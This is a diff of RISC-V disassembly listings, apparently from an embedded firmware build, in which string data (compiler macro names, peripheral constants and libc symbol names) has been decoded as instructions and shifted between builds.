+    2682:	435f4d57          	0x435f4d57
+    2686:	4746                	lw	a4,80(sp)
+    2688:	435f 504d 4930      	0x4930504d435f
+    268e:	2050                	fld	fa2,128(s0)
+    2690:	7830                	flw	fa2,112(s0)
+    2692:	3031                	jal	1e9e <__stack_size+0x169e>
+    2694:	3030                	fld	fa2,96(s0)
+    2696:	3030                	fld	fa2,96(s0)
+    2698:	3030                	fld	fa2,96(s0)
+    269a:	4200                	lw	s0,0(a2)
+    269c:	4655                	li	a2,21
+    269e:	4546                	lw	a0,80(sp)
+    26a0:	5f52                	lw	t5,52(sp)
+    26a2:	455a4953          	0x455a4953
+    26a6:	3320                	fld	fs0,96(a4)
+    26a8:	0032                	c.slli	zero,0xc
+    26aa:	616d                	addi	sp,sp,240
+    26ac:	6c6c                	flw	fa1,92(s0)
+    26ae:	5f00636f          	jal	t1,8c9e <__stack_size+0x849e>
+    26b2:	4e55                	li	t3,21
+    26b4:	5349                	li	t1,-14
+    26b6:	4454                	lw	a3,12(s0)
+    26b8:	485f 205f 4f00      	0x4f00205f485f
+    26be:	435f 4f4c 5845      	0x58454f4c435f
+    26c4:	4345                	li	t1,17
+    26c6:	5f20                	lw	s0,120(a4)
+    26c8:	4e46                	lw	t3,80(sp)
+    26ca:	484e494f          	fnmadd.s	fs2,ft8,ft4,fs1,rmm
+    26ce:	5245                	li	tp,-15
+    26d0:	5449                	li	s0,-14
+    26d2:	4100                	lw	s0,0(a0)
+    26d4:	53454343          	fmadd.d	ft6,fa0,fs4,fa0,rmm
+    26d8:	52455053          	0x52455053
+    26dc:	534d                	li	t1,-13
+    26de:	2820                	fld	fs0,80(s0)
+    26e0:	52495f53          	0x52495f53
+    26e4:	20555857          	0x20555857
+    26e8:	207c                	fld	fa5,192(s0)
+    26ea:	52495f53          	0x52495f53
+    26ee:	20475857          	0x20475857
+    26f2:	207c                	fld	fa5,192(s0)
+    26f4:	52495f53          	0x52495f53
+    26f8:	294f5857          	0x294f5857
+    26fc:	5f00                	lw	s0,56(a4)
+    26fe:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    2704:	6572                	flw	fa0,28(sp)
+    2706:	656c                	flw	fa1,76(a0)
+    2708:	7361                	lui	t1,0xffff8
+    270a:	2865                	jal	27c2 <__stack_size+0x1fc2>
+    270c:	6f6c                	flw	fa1,92(a4)
+    270e:	20296b63          	bltu	s2,sp,2924 <__stack_size+0x2124>
+    2712:	2828                	fld	fa0,80(s0)
+    2714:	6f76                	flw	ft10,92(sp)
+    2716:	6469                	lui	s0,0x1a
+    2718:	2029                	jal	2722 <__stack_size+0x1f22>
+    271a:	2930                	fld	fa2,80(a0)
+    271c:	5f00                	lw	s0,56(a4)
+    271e:	4f5f 4452 5245      	0x524544524f5f
+    2724:	4c5f 5449 4c54      	0x4c5454494c5f
+    272a:	5f45                	li	t5,-15
+    272c:	4e45                	li	t3,17
+    272e:	4944                	lw	s1,20(a0)
+    2730:	4e41                	li	t3,16
+    2732:	5f5f 3120 3332      	0x333231205f5f
+    2738:	0034                	addi	a3,sp,8
+    273a:	505f 5254 4944      	0x49445254505f
+    2740:	4646                	lw	a2,80(sp)
+    2742:	545f 445f 4345      	0x4345445f545f
+    2748:	414c                	lw	a1,4(a0)
+    274a:	4552                	lw	a0,20(sp)
+    274c:	2044                	fld	fs1,128(s0)
+    274e:	5f00                	lw	s0,56(a4)
+    2750:	4552                	lw	a0,20(sp)
+    2752:	4e45                	li	t3,17
+    2754:	5f54                	lw	a3,60(a4)
+    2756:	4e474953          	0x4e474953
+    275a:	284d4147          	fmsub.s	ft2,fs10,ft4,ft5,rmm
+    275e:	7470                	flw	fa2,108(s0)
+    2760:	2972                	fld	fs2,280(sp)
+    2762:	2820                	fld	fs0,80(s0)
+    2764:	7028                	flw	fa0,96(s0)
+    2766:	7274                	flw	fa3,100(a2)
+    2768:	2d29                	jal	2d82 <__stack_size+0x2582>
+    276a:	5f3e                	lw	t5,236(sp)
+    276c:	656e                	flw	fa0,216(sp)
+    276e:	725f2e77          	0x725f2e77
+    2772:	6565                	lui	a0,0x19
+    2774:	746e                	flw	fs0,248(sp)
+    2776:	5f2e                	lw	t5,232(sp)
+    2778:	6d6d6167          	0x6d6d6167
+    277c:	5f61                	li	t5,-8
+    277e:	6e676973          	csrrsi	s2,0x6e6,14
+    2782:	296d6167          	0x296d6167
+    2786:	5f00                	lw	s0,56(a4)
+    2788:	615f 776c 7961      	0x7961776c615f
+    278e:	6e695f73          	csrrwi	t5,0x6e6,18
+    2792:	696c                	flw	fa1,84(a0)
+    2794:	656e                	flw	fa0,216(sp)
+    2796:	5f20                	lw	s0,120(a4)
+    2798:	695f 6c6e 6e69      	0x6e696c6e695f
+    279e:	5f65                	li	t5,-7
+    27a0:	205f 5f5f 7461      	0x74615f5f205f
+    27a6:	7274                	flw	fa3,100(a2)
+    27a8:	6269                	lui	tp,0x1a
+    27aa:	7475                	lui	s0,0xffffd
+    27ac:	5f65                	li	t5,-7
+    27ae:	285f 5f28 615f      	0x615f5f28285f
+    27b4:	776c                	flw	fa1,108(a4)
+    27b6:	7961                	lui	s2,0xffff8
+    27b8:	6e695f73          	csrrwi	t5,0x6e6,18
+    27bc:	696c                	flw	fa1,84(a0)
+    27be:	656e                	flw	fa0,216(sp)
+    27c0:	5f5f 2929 5300      	0x530029295f5f
+    27c6:	495f 5752 5558      	0x55585752495f
+    27cc:	2820                	fld	fs0,80(s0)
+    27ce:	52495f53          	0x52495f53
+    27d2:	5355                	li	t1,-11
+    27d4:	2052                	fld	ft0,272(sp)
+    27d6:	207c                	fld	fa5,192(s0)
+    27d8:	57495f53          	0x57495f53
+    27dc:	5355                	li	t1,-11
+    27de:	2052                	fld	ft0,272(sp)
+    27e0:	207c                	fld	fa5,192(s0)
+    27e2:	58495f53          	0x58495f53
+    27e6:	5355                	li	t1,-11
+    27e8:	2952                	fld	fs2,272(sp)
+    27ea:	5f00                	lw	s0,56(a4)
+    27ec:	755f 6e69 3374      	0x33746e69755f
+    27f2:	5f32                	lw	t5,44(sp)
+    27f4:	0074                	addi	a3,sp,12
+    27f6:	5f5f 4c46 5f54      	0x5f544c465f5f
+    27fc:	4944                	lw	s1,20(a0)
+    27fe:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    2802:	0036                	c.slli	zero,0xd
+    2804:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    280a:	69735f63          	bge	t1,s7,2ea8 <__stack_size+0x26a8>
+    280e:	657a                	flw	fa0,156(sp)
+    2810:	2832                	fld	fa6,264(sp)
+    2812:	2c6e                	fld	fs8,216(sp)
+    2814:	2978                	fld	fa4,208(a0)
+    2816:	5f20                	lw	s0,120(a4)
+    2818:	615f 7474 6972      	0x69727474615f
+    281e:	7562                	flw	fa0,56(sp)
+    2820:	6574                	flw	fa3,76(a0)
+    2822:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    2828:	6c61                	lui	s8,0x18
+    282a:	6f6c                	flw	fa1,92(a4)
+    282c:	69735f63          	bge	t1,s7,2eca <__stack_size+0x26ca>
+    2830:	657a                	flw	fa0,156(sp)
+    2832:	5f5f 6e28 202c      	0x202c6e285f5f
+    2838:	2978                	fld	fa4,208(a0)
+    283a:	2929                	jal	2c54 <__stack_size+0x2454>
+    283c:	5f00                	lw	s0,56(a4)
+    283e:	445f 4c42 4d5f      	0x4d5f4c42445f
+    2844:	5841                	li	a6,-16
+    2846:	455f 5058 5f5f      	0x5f5f5058455f
+    284c:	3120                	fld	fs0,96(a0)
+    284e:	3230                	fld	fa2,96(a2)
+    2850:	0034                	addi	a3,sp,8
+    2852:	6e75                	lui	t3,0x1d
+    2854:	6e676973          	csrrsi	s2,0x6e6,14
+    2858:	6465                	lui	s0,0x19
+    285a:	7320                	flw	fs0,96(a4)
+    285c:	6769                	lui	a4,0x1a
+    285e:	656e                	flw	fa0,216(sp)
+    2860:	0064                	addi	s1,sp,12
+    2862:	5f5f 4955 544e      	0x544e49555f5f
+    2868:	4c5f 4145 5453      	0x545341454c5f
+    286e:	3631                	jal	237a <__stack_size+0x1b7a>
+    2870:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    2876:	3020                	fld	fs0,96(s0)
+    2878:	6678                	flw	fa4,76(a2)
+    287a:	6666                	flw	fa2,88(sp)
+    287c:	0066                	c.slli	zero,0x19
+    287e:	5f5f 4953 455a      	0x455a49535f5f
+    2884:	575f 4449 4854      	0x48544449575f
+    288a:	5f5f 3320 0032      	0x3233205f5f
+    2890:	4446                	lw	s0,80(sp)
+    2892:	535f 5445 6e28      	0x6e285445535f
+    2898:	702c                	flw	fa1,96(s0)
+    289a:	2029                	jal	28a4 <__stack_size+0x20a4>
+    289c:	2828                	fld	fa0,80(s0)
+    289e:	2970                	fld	fa2,208(a0)
+    28a0:	3e2d                	jal	23da <__stack_size+0x1bda>
+    28a2:	6466                	flw	fs0,88(sp)
+    28a4:	69625f73          	csrrwi	t5,0x696,4
+    28a8:	7374                	flw	fa3,100(a4)
+    28aa:	296e285b          	0x296e285b
+    28ae:	44464e2f          	0x44464e2f
+    28b2:	4942                	lw	s2,16(sp)
+    28b4:	5354                	lw	a3,36(a4)
+    28b6:	205d                	jal	295c <__stack_size+0x215c>
+    28b8:	3d7c                	fld	fa5,248(a0)
+    28ba:	2820                	fld	fs0,80(s0)
+    28bc:	4c31                	li	s8,12
+    28be:	3c20                	fld	fs0,120(s0)
+    28c0:	203c                	fld	fa5,64(s0)
+    28c2:	2828                	fld	fa0,80(s0)
+    28c4:	296e                	fld	fs2,216(sp)
+    28c6:	2520                	fld	fs0,72(a0)
+    28c8:	4e20                	lw	s0,88(a2)
+    28ca:	4446                	lw	s0,80(sp)
+    28cc:	4942                	lw	s2,16(sp)
+    28ce:	5354                	lw	a3,36(a4)
+    28d0:	2929                	jal	2cea <__stack_size+0x24ea>
+    28d2:	0029                	c.nop	10
+    28d4:	5f5f 756e 6c6c      	0x6c6c756e5f5f
+    28da:	735f 6e65 6974      	0x69746e65735f
+    28e0:	656e                	flw	fa0,216(sp)
+    28e2:	206c                	fld	fa1,192(s0)
+    28e4:	5f5f 7461 7274      	0x727474615f5f
+    28ea:	6269                	lui	tp,0x1a
+    28ec:	7475                	lui	s0,0xffffd
+    28ee:	5f65                	li	t5,-7
+    28f0:	285f 5f28 735f      	0x735f5f28285f
+    28f6:	6e65                	lui	t3,0x19
+    28f8:	6974                	flw	fa3,84(a0)
+    28fa:	656e                	flw	fa0,216(sp)
+    28fc:	5f6c                	lw	a1,124(a4)
+    28fe:	295f 0029 535f      	0x535f0029295f
+    2904:	45475f43          	0x45475f43
+    2908:	4754                	lw	a3,12(a4)
+    290a:	5f52                	lw	t5,52(sp)
+    290c:	5f52                	lw	t5,52(sp)
+    290e:	455a4953          	0x455a4953
+    2912:	4d5f 5841 3520      	0x352058414d5f
+    2918:	0030                	addi	a2,sp,8
+    291a:	535f 5359 535f      	0x535f5359535f
+    2920:	5254                	lw	a3,36(a2)
+    2922:	4e49                	li	t3,18
+    2924:	20485f47          	fmsub.s	ft10,fa6,ft4,ft4,unknown
+    2928:	5300                	lw	s0,32(a4)
+    292a:	4454                	lw	a3,12(s0)
+    292c:	5f54554f          	fnmadd.q	fa0,fs0,fs5,fa1,unknown
+    2930:	4946                	lw	s2,80(sp)
+    2932:	454c                	lw	a1,12(a0)
+    2934:	4f4e                	lw	t5,208(sp)
+    2936:	3120                	fld	fs0,96(a0)
+    2938:	5f00                	lw	s0,56(a4)
+    293a:	535f 5a49 4f45      	0x4f455a49535f
+    2940:	5f46                	lw	t5,112(sp)
+    2942:	455a4953          	0x455a4953
+    2946:	545f 5f5f 3420      	0x34205f5f545f
+    294c:	5000                	lw	s0,32(s0)
+    294e:	5441                	li	s0,-16
+    2950:	5f48                	lw	a0,60(a4)
+    2952:	414d                	li	sp,19
+    2954:	2058                	fld	fa4,128(s0)
+    2956:	3031                	jal	2162 <__stack_size+0x1962>
+    2958:	3432                	fld	fs0,296(sp)
+    295a:	5f00                	lw	s0,56(a4)
+    295c:	465f 544c 3436      	0x3436544c465f
+    2962:	5f58                	lw	a4,60(a4)
+    2964:	414d                	li	sp,19
+    2966:	5f58                	lw	a4,60(a4)
+    2968:	205f 2e31 3831      	0x38312e31205f
+    296e:	3739                	jal	287c <__stack_size+0x207c>
+    2970:	39343133          	0x39343133
+    2974:	3335                	jal	26a0 <__stack_size+0x1ea0>
+    2976:	3735                	jal	28a2 <__stack_size+0x20a2>
+    2978:	3332                	fld	ft6,296(sp)
+    297a:	3731                	jal	2886 <__stack_size+0x2086>
+    297c:	3536                	fld	fa0,360(sp)
+    297e:	3830                	fld	fa2,112(s0)
+    2980:	3735                	jal	28ac <__stack_size+0x20ac>
+    2982:	3935                	jal	25be <__stack_size+0x1dbe>
+    2984:	36363233          	0x36363233
+    2988:	3832                	fld	fa6,296(sp)
+    298a:	3030                	fld	fa2,96(s0)
+    298c:	65323037          	lui	zero,0x65323
+    2990:	3339342b          	0x3339342b
+    2994:	4632                	lw	a2,12(sp)
+    2996:	3436                	fld	fs0,360(sp)
+    2998:	0078                	addi	a4,sp,12
+    299a:	535f 5f43 454c      	0x454c5f43535f
+    29a0:	4556                	lw	a0,84(sp)
+    29a2:	344c                	fld	fa1,168(s0)
+    29a4:	435f 4341 4548      	0x45484341435f
+    29aa:	535f 5a49 2045      	0x20455a49535f
+    29b0:	3331                	jal	26bc <__stack_size+0x1ebc>
+    29b2:	48530037          	lui	zero,0x48530
+    29b6:	5452                	lw	s0,52(sp)
+    29b8:	4d5f 4e49 2820      	0x28204e494d5f
+    29be:	532d                	li	t1,-21
+    29c0:	5248                	lw	a0,36(a2)
+    29c2:	5f54                	lw	a3,60(a4)
+    29c4:	414d                	li	sp,19
+    29c6:	2058                	fld	fa4,128(s0)
+    29c8:	202d                	jal	29f2 <__stack_size+0x21f2>
+    29ca:	2931                	jal	2de6 <__stack_size+0x25e6>
+    29cc:	4900                	lw	s0,16(a0)
+    29ce:	544e                	lw	s0,240(sp)
+    29d0:	4c5f 4145 5453      	0x545341454c5f
+    29d6:	3631                	jal	24e2 <__stack_size+0x1ce2>
+    29d8:	4d5f 5841 5f20      	0x5f2058414d5f
+    29de:	495f 544e 4c5f      	0x4c5f544e495f
+    29e4:	4145                	li	sp,17
+    29e6:	36315453          	0x36315453
+    29ea:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    29f0:	5f00                	lw	s0,56(a4)
+    29f2:	555f 4e49 5f54      	0x5f544e49555f
+    29f8:	454c                	lw	a1,12(a0)
+    29fa:	5341                	li	t1,-16
+    29fc:	3654                	fld	fa3,168(a2)
+    29fe:	5f34                	lw	a3,120(a4)
+    2a00:	414d                	li	sp,19
+    2a02:	5f58                	lw	a4,60(a4)
+    2a04:	205f 7830 6666      	0x66667830205f
+    2a0a:	6666                	flw	fa2,88(sp)
+    2a0c:	6666                	flw	fa2,88(sp)
+    2a0e:	6666                	flw	fa2,88(sp)
+    2a10:	6666                	flw	fa2,88(sp)
+    2a12:	6666                	flw	fa2,88(sp)
+    2a14:	6666                	flw	fa2,88(sp)
+    2a16:	6666                	flw	fa2,88(sp)
+    2a18:	4c55                	li	s8,21
+    2a1a:	004c                	addi	a1,sp,4
+    2a1c:	4558                	lw	a4,12(a0)
+    2a1e:	414d                	li	sp,19
+    2a20:	41425f43          	fmadd.s	ft10,ft4,fs4,fs0,unknown
+    2a24:	30204553          	0x30204553
+    2a28:	3678                	fld	fa4,232(a2)
     2a2a:	3030                	fld	fa2,96(s0)
-    2a2c:	5500                	lw	s0,40(a0)
-    2a2e:	4e49                	li	t3,18
-    2a30:	5f54                	lw	a3,60(a4)
-    2a32:	4146                	lw	sp,80(sp)
-    2a34:	5f385453          	0x5f385453
-    2a38:	414d                	li	sp,19
-    2a3a:	2058                	fld	fa4,128(s0)
-    2a3c:	5f5f 4955 544e      	0x544e49555f5f
-    2a42:	465f 5341 3854      	0x38545341465f
-    2a48:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2a4e:	5f00                	lw	s0,56(a4)
-    2a50:	435f 5f43 5553      	0x55535f43435f
-    2a56:	5050                	lw	a2,36(s0)
-    2a58:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    2a5c:	495f 4c4e 4e49      	0x4e494c4e495f
-    2a62:	2045                	jal	2b02 <__stack_size+0x2302>
-    2a64:	0031                	c.nop	12
-    2a66:	4155                	li	sp,21
-    2a68:	5452                	lw	s0,52(sp)
-    2a6a:	495f 2050 7830      	0x78302050495f
-    2a70:	3431                	jal	247c <__stack_size+0x1c7c>
-    2a72:	4600                	lw	s0,8(a2)
-    2a74:	475f 5445 574f      	0x574f5445475f
-    2a7a:	204e                	fld	ft0,208(sp)
-    2a7c:	0035                	c.nop	13
-    2a7e:	5750                	lw	a2,44(a4)
-    2a80:	5f4d                	li	t5,-13
-    2a82:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
-    2a86:	32504d43          	fmadd.d	fs10,ft0,ft5,ft6,rmm
-    2a8a:	474e4147          	fmsub.q	ft2,ft8,fs4,fs0,rmm
-    2a8e:	3020                	fld	fs0,96(s0)
-    2a90:	3078                	fld	fa4,224(s0)
-    2a92:	3034                	fld	fa3,96(s0)
-    2a94:	3030                	fld	fa2,96(s0)
-    2a96:	3030                	fld	fa2,96(s0)
-    2a98:	0030                	addi	a2,sp,8
-    2a9a:	425f 4749 455f      	0x455f4749425f
-    2aa0:	444e                	lw	s0,208(sp)
-    2aa2:	4149                	li	sp,18
-    2aa4:	204e                	fld	ft0,208(sp)
-    2aa6:	3334                	fld	fa3,96(a4)
-    2aa8:	3132                	fld	ft2,296(sp)
-    2aaa:	5000                	lw	s0,32(s0)
-    2aac:	5254                	lw	a3,36(a2)
-    2aae:	4944                	lw	s1,20(a0)
-    2ab0:	4646                	lw	a2,80(sp)
-    2ab2:	4d5f 4e49 2820      	0x28204e494d5f
-    2ab8:	502d                	c.li	zero,-21
-    2aba:	5254                	lw	a3,36(a2)
-    2abc:	4944                	lw	s1,20(a0)
-    2abe:	4646                	lw	a2,80(sp)
-    2ac0:	4d5f 5841 2d20      	0x2d2058414d5f
-    2ac6:	3120                	fld	fs0,96(a0)
-    2ac8:	0029                	c.nop	10
-    2aca:	46495f53          	0x46495f53
-    2ace:	4944                	lw	s1,20(a0)
-    2ad0:	2052                	fld	ft0,272(sp)
-    2ad2:	495f 4446 5249      	0x52494446495f
-    2ad8:	5f00                	lw	s0,56(a4)
-    2ada:	6e5f 6565 5f64      	0x5f6465656e5f
-    2ae0:	6e69                	lui	t3,0x1a
-    2ae2:	7474                	flw	fa3,108(s0)
-    2ae4:	7079                	c.lui	zero,0xffffe
-    2ae6:	7365                	lui	t1,0xffff9
-    2ae8:	5f00                	lw	s0,56(a4)
-    2aea:	445f 4c42 445f      	0x445f4c42445f
-    2af0:	4345                	li	t1,17
-    2af2:	4d49                	li	s10,18
-    2af4:	4c41                	li	s8,16
-    2af6:	445f 4749 5f5f      	0x5f5f4749445f
-    2afc:	3120                	fld	fs0,96(a0)
-    2afe:	5f5f0037          	lui	zero,0x5f5f0
-    2b02:	455a4953          	0x455a4953
-    2b06:	4c5f464f          	0x4c5f464f
-    2b0a:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    2b0e:	4f4c                	lw	a1,28(a4)
-    2b10:	474e                	lw	a4,208(sp)
-    2b12:	5f5f 3820 5f00      	0x5f0038205f5f
-    2b18:	735f 6163 666e      	0x666e6163735f
-    2b1e:	696c                	flw	fa1,84(a0)
-    2b20:	6628656b          	0x6628656b
-    2b24:	746d                	lui	s0,0xffffb
-    2b26:	7261                	lui	tp,0xffff8
-    2b28:	69662c67          	0x69662c67
-    2b2c:	7372                	flw	ft6,60(sp)
-    2b2e:	7674                	flw	fa3,108(a2)
-    2b30:	7261                	lui	tp,0xffff8
-    2b32:	7261                	lui	tp,0xffff8
-    2b34:	5f202967          	0x5f202967
-    2b38:	615f 7474 6972      	0x69727474615f
-    2b3e:	7562                	flw	fa0,56(sp)
-    2b40:	6574                	flw	fa3,76(a0)
-    2b42:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    2b48:	6f66                	flw	ft10,88(sp)
-    2b4a:	6d72                	flw	fs10,28(sp)
-    2b4c:	7461                	lui	s0,0xffff8
-    2b4e:	5f5f 2820 5f5f      	0x5f5f28205f5f
-    2b54:	6e616373          	csrrsi	t1,0x6e6,2
-    2b58:	5f66                	lw	t5,120(sp)
-    2b5a:	2c5f 6620 746d      	0x746d66202c5f
-    2b60:	7261                	lui	tp,0xffff8
-    2b62:	66202c67          	0x66202c67
-    2b66:	7269                	lui	tp,0xffffa
-    2b68:	61767473          	csrrci	s0,0x617,12
-    2b6c:	6172                	flw	ft2,28(sp)
-    2b6e:	6772                	flw	fa4,28(sp)
-    2b70:	2929                	jal	2f8a <__stack_size+0x278a>
-    2b72:	0029                	c.nop	10
-    2b74:	455a4953          	0x455a4953
-    2b78:	4d5f 5841 5200      	0x520058414d5f
-    2b7e:	4354                	lw	a3,4(a4)
-    2b80:	465f 4552 2051      	0x20514552465f
-    2b86:	3631                	jal	2692 <__stack_size+0x1e92>
-    2b88:	3134                	fld	fa3,96(a0)
-    2b8a:	0036                	c.slli	zero,0xd
-    2b8c:	535f 5f43 454c      	0x454c5f43535f
-    2b92:	4556                	lw	a0,84(sp)
-    2b94:	314c                	fld	fa1,160(a0)
-    2b96:	495f 4143 4843      	0x48434143495f
-    2b9c:	5f45                	li	t5,-15
-    2b9e:	455a4953          	0x455a4953
-    2ba2:	3120                	fld	fs0,96(a0)
-    2ba4:	3532                	fld	fa0,296(sp)
-    2ba6:	5700                	lw	s0,40(a4)
-    2ba8:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    2bac:	4d5f 5841 5f20      	0x5f2058414d5f
-    2bb2:	575f 4843 5241      	0x52414843575f
-    2bb8:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2bbe:	5f00                	lw	s0,56(a4)
-    2bc0:	465f 544c 3436      	0x3436544c465f
-    2bc6:	5f58                	lw	a4,60(a4)
-    2bc8:	414d                	li	sp,19
-    2bca:	5f58                	lw	a4,60(a4)
-    2bcc:	3031                	jal	23d8 <__stack_size+0x1bd8>
-    2bce:	455f 5058 5f5f      	0x5f5f5058455f
-    2bd4:	3420                	fld	fs0,104(s0)
-    2bd6:	3339                	jal	28e4 <__stack_size+0x20e4>
-    2bd8:	0032                	c.slli	zero,0xc
-    2bda:	5542                	lw	a0,48(sp)
-    2bdc:	5346                	lw	t1,112(sp)
-    2bde:	5a49                	li	s4,-14
-    2be0:	3120                	fld	fs0,96(a0)
-    2be2:	3230                	fld	fa2,96(a2)
-    2be4:	0034                	addi	a3,sp,8
-    2be6:	5f5f 4c46 3354      	0x33544c465f5f
-    2bec:	5f32                	lw	t5,44(sp)
-    2bee:	4544                	lw	s1,12(a0)
-    2bf0:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    2bf4:	5f4c                	lw	a1,60(a4)
-    2bf6:	4944                	lw	s1,20(a0)
-    2bf8:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2bfc:	0039                	c.nop	14
-    2bfe:	505f 5f43 4843      	0x48435f43505f
-    2c04:	5f4e574f          	fnmadd.q	fa4,ft8,fs4,fa1,unknown
-    2c08:	4552                	lw	a0,20(sp)
-    2c0a:	49525453          	0x49525453
-    2c0e:	44455443          	0x44455443
-    2c12:	3620                	fld	fs0,104(a2)
-    2c14:	5f00                	lw	s0,56(a4)
-    2c16:	4e5f 5745 494c      	0x494c57454e5f
-    2c1c:	5f42                	lw	t5,48(sp)
-    2c1e:	494d                	li	s2,19
-    2c20:	4f4e                	lw	t5,208(sp)
-    2c22:	5f52                	lw	t5,52(sp)
-    2c24:	205f 0032 525f      	0x525f0032205f
-    2c2a:	4545                	li	a0,17
-    2c2c:	544e                	lw	s0,240(sp)
-    2c2e:	4d5f 5342 5452      	0x545253424d5f
-    2c34:	5343574f          	fnmadd.d	fa4,ft6,fs4,fa0,unknown
-    2c38:	535f 4154 4554      	0x45544154535f
-    2c3e:	7028                	flw	fa0,96(s0)
-    2c40:	7274                	flw	fa3,100(a2)
-    2c42:	2029                	jal	2c4c <__stack_size+0x244c>
-    2c44:	2828                	fld	fa0,80(s0)
-    2c46:	7470                	flw	fa2,108(s0)
-    2c48:	2972                	fld	fs2,280(sp)
-    2c4a:	3e2d                	jal	2784 <__stack_size+0x1f84>
-    2c4c:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    2c52:	6572                	flw	fa0,28(sp)
-    2c54:	6e65                	lui	t3,0x19
-    2c56:	2e74                	fld	fa3,216(a2)
-    2c58:	6d5f 7362 7472      	0x747273626d5f
-    2c5e:	7363776f          	jal	a4,3a394 <__stack_size+0x39b94>
-    2c62:	735f 6174 6574      	0x65746174735f
-    2c68:	0029                	c.nop	10
-    2c6a:	4c50                	lw	a2,28(s0)
-    2c6c:	4349                	li	t1,18
-    2c6e:	555f 5241 5f54      	0x5f545241555f
-    2c74:	5852                	lw	a6,52(sp)
-    2c76:	535f 554f 4352      	0x4352554f535f
-    2c7c:	2045                	jal	2d1c <__stack_size+0x251c>
-    2c7e:	505f0033          	0x505f0033
-    2c82:	49545f43          	fmadd.s	ft10,fs0,fs5,fs1,unknown
-    2c86:	454d                	li	a0,19
-    2c88:	4d415453          	0x4d415453
-    2c8c:	5f50                	lw	a2,60(a4)
-    2c8e:	4552                	lw	a0,20(sp)
-    2c90:	554c4f53          	0x554c4f53
-    2c94:	4954                	lw	a3,20(a0)
-    2c96:	32204e4f          	fnmadd.d	ft8,ft0,ft2,ft6,rmm
-    2c9a:	0030                	addi	a2,sp,8
-    2c9c:	5f5f 6f62 6e75      	0x6e756f625f5f
-    2ca2:	6564                	flw	fs1,76(a0)
-    2ca4:	2064                	fld	fs1,192(s0)
-    2ca6:	5f00                	lw	s0,56(a4)
-    2ca8:	575f 4e49 5f54      	0x5f544e49575f
-    2cae:	5954                	lw	a3,52(a0)
-    2cb0:	4550                	lw	a2,12(a0)
-    2cb2:	5f5f 7520 736e      	0x736e75205f5f
-    2cb8:	6769                	lui	a4,0x1a
-    2cba:	656e                	flw	fa0,216(sp)
-    2cbc:	2064                	fld	fs1,192(s0)
-    2cbe:	6e69                	lui	t3,0x1a
-    2cc0:	0074                	addi	a3,sp,12
-    2cc2:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    2cc6:	4c5f 574f 495f      	0x495f574f4c5f
-    2ccc:	2045                	jal	2d6c <__stack_size+0x256c>
-    2cce:	7830                	flw	fa2,112(s0)
-    2cd0:	5f003033          	0x5f003033
-    2cd4:	4649                	li	a2,18
-    2cd6:	20524843          	fmadd.s	fa6,ft4,ft5,ft4,rmm
-    2cda:	3030                	fld	fa2,96(s0)
-    2cdc:	3032                	fld	ft0,296(sp)
-    2cde:	3030                	fld	fa2,96(s0)
-    2ce0:	0030                	addi	a2,sp,8
-    2ce2:	535f 5f43 4854      	0x48545f43535f
-    2ce8:	4552                	lw	a0,20(sp)
-    2cea:	4441                	li	s0,16
-    2cec:	535f 4f50 4152      	0x41524f50535f
-    2cf2:	4944                	lw	s1,20(a0)
-    2cf4:	45535f43          	0x45535f43
-    2cf8:	5652                	lw	a2,52(sp)
-    2cfa:	5245                	li	tp,-15
-    2cfc:	3820                	fld	fs0,112(s0)
-    2cfe:	0031                	c.nop	12
-    2d00:	505f 5f43 4950      	0x49505f43505f
-    2d06:	4550                	lw	a2,12(a0)
-    2d08:	425f 4655 3520      	0x35204655425f
-    2d0e:	4600                	lw	s0,8(a2)
-    2d10:	525f 4547 4c54      	0x4c544547525f
-    2d16:	3031204b          	fnmsub.s	ft0,ft2,ft3,ft6,rdn
-    2d1a:	5f00                	lw	s0,56(a4)
-    2d1c:	615f 6772 745f      	0x745f6772615f
-    2d22:	7079                	c.lui	zero,0xffffe
-    2d24:	5f65                	li	t5,-7
-    2d26:	6174                	flw	fa3,68(a0)
-    2d28:	72612867          	0x72612867
-    2d2c:	696b5f67          	0x696b5f67
-    2d30:	646e                	flw	fs0,216(sp)
-    2d32:	612c                	flw	fa1,64(a0)
-    2d34:	6772                	flw	fa4,28(sp)
-    2d36:	695f 7864 742c      	0x742c7864695f
+    2a2c:	3030                	fld	fa2,96(s0)
+    2a2e:	3030                	fld	fa2,96(s0)
+    2a30:	0030                	addi	a2,sp,8
+    2a32:	6e727473          	csrrci	s0,0x6e7,4
+    2a36:	00706d63          	bltu	zero,t2,2a50 <__stack_size+0x2250>
+    2a3a:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    2a40:	725f 6c65 6165      	0x61656c65725f
+    2a46:	725f6573          	csrrsi	a0,0x725,30
+    2a4a:	6365                	lui	t1,0x19
+    2a4c:	7275                	lui	tp,0xffffd
+    2a4e:	65766973          	csrrsi	s2,0x657,12
+    2a52:	6c28                	flw	fa0,88(s0)
+    2a54:	296b636f          	jal	t1,b8cea <__stack_size+0xb84ea>
+    2a58:	2820                	fld	fs0,80(s0)
+    2a5a:	7628                	flw	fa0,104(a2)
+    2a5c:	2964696f          	jal	s2,48cf2 <__stack_size+0x484f2>
+    2a60:	3020                	fld	fs0,96(s0)
+    2a62:	0029                	c.nop	10
+    2a64:	5f5f 6f66 6d72      	0x6d726f665f5f
+    2a6a:	7461                	lui	s0,0xffff8
+    2a6c:	615f 6772 6628      	0x66286772615f
+    2a72:	746d                	lui	s0,0xffffb
+    2a74:	7261                	lui	tp,0xffff8
+    2a76:	5f202967          	0x5f202967
+    2a7a:	615f 7474 6972      	0x69727474615f
+    2a80:	7562                	flw	fa0,56(sp)
